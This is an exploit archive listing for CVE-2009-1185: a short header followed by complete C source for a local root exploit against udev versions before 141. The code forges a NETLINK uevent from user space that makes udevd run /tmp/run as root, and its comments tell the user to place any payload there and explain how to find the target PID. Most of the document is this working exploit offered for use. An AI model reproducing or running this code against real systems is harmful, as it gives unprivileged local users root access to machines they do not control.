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Linux Kernel 2.6 UDEV Privilege Escalation

Linux Kernel 2.6 UDEV Privilege Escalation
Posted May 1, 2009
Authored by Jon Oberheide

Linux 2.6 kernel udev versions below 1.4.1 local privilege escalation exploit.

tags | exploit, kernel, local
systems | linux
advisories | CVE-2009-1185
MD5 | 88076ff8f3391f74c8c6c77d8b8343ff

Linux Kernel 2.6 UDEV Privilege Escalation

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/*
* cve-2009-1185.c
*
* udev < 141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
*
* udev before 1.4.1 does not verify whether a NETLINK message originates
* from kernel space, which allows local users to gain privileges by sending
* a NETLINK message from user space.
*
* Notes:
*
* An alternate version of kcope's exploit. This exploit leverages the
* 95-udev-late.rules functionality that is meant to run arbitrary commands
* when a device is removed. A bit cleaner and reliable as long as your
* distro ships that rule file. The exploit will execute /tmp/run as root
* so throw whatever payload you want in there.
*
* Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
* usually is the udevd PID minus 1) as argv[1].
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
int sock;
char *mp;
char message[4096];
struct msghdr msg;
struct iovec iovector;
struct sockaddr_nl address;

memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;

msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;

sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &address, sizeof(address));

mp = message;
mp += sprintf(mp, "a@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);

sendmsg(sock, &msg, 0);

close(sock);

return 0;
}


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